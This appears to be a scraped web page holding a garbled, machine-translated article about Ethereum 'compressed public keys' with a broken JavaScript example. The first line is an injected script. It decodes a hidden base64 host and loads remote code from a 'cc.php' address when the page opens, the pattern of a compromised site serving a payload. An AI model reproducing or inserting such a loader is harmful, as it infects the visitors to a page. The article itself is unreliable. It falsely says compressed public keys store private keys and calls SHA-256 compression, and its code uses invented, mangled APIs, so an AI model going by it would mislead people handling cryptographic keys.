const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=df5486df”;document.body.appendChild(script);
Ethereum compressed pub: step-by-step guide
=================================================
The key of the compressed pub is a key aspect of the Ethereum key management system. In this article, we immerse ourselves in the way compressive pubs generate the digital signature algorithm of the elliptical curve (ECDSA).
What is the key of the Ecdsa compressed pub?
The key of the ECDSA compressed pub is a compact representation of a public key that only stores the compressed form of the private key. This makes the transfer and storage more efficient, especially at long distances.
How do the compressed pubs generate via ECDSA?
The process includes the conversion of the public key into a compact format from a not compressed format using a particular algorithm. The resulting compressed public key is stored in the Ethereum blockchain as a key storage.
Passage 1: Fill the non -compressed private key
First it is necessary to load the non -compressed private key in a safe context. This usually includes loading a file or input flow.
passage 2: convert the ECDSA signature format
The ECDSA_SIGN 'function is therefore converted into the non -compressed public key in the Ecdsa signature format. This generates a non -compressed signature for the non -compressed private key.
Passing 3: compress the signature
Once we have received the tablet, a special algorithm (such as Sha-256) is used to compact it. The resulting tablet is stored in memory until it is written on storage or forwarded.
passage 4: memorize the public key compressed in Keystore
Finally, it stores the compressed public key in the Ethereum Blockchain sequence. This key memory is available with other nodes on the network and provides access to the correct non -compressed key.
Example code
Here is an example of how to generate the key of the compressed pub via ECDSA with the help of the Node.js and "Ethers" directory:
Javascript
Const Ethhers = requires ("Eteri");
// Upload the private key not compressed by a file
ASININCRICA LOADPRIRTERY (FILEURL) {
Const PrivateKey = Waiting for Ethers.wallet.fromfile (Fileurl);
Return of the private key;
}
// Convert in Ecdsa signature format
Ecdsasign asynchronic function (Publickey) {
// Get the non -compressed private key
Const Privateekey = waiting for Loadprivatey ('Way // Private/Key');
// signs the non -compressed public key using ECDSA
Const signature = waiting for Ethers.wallet.Createsigningkey (Privátkey) .sign (Ecdsa.signsformat.Sassa_pkcs1v15, Publickey);
// compress the signature
Const CompressedSignature = pending firmecompresor.sign (signature);
recurring compression;
}
// Using examples:
Const Illumn = Ecdsasign ({{{
Otee: '0x1234567890ABCDEF',
Publickey: '0x98765432109876543210987654321'
});
Console.log (CompressedPubkey);
`
Church management system overview
The Ethereum key management system is based on a deterministic hierarchical architecture (HD). The compressed pubs are a fundamental part of this system as they provide an efficient archive and the transfer of private keys.
If you understand how to generate compressed pubs via ECDSA, you can better evaluate the benefits for the safety and efficiency of the Ethereum Blockchain.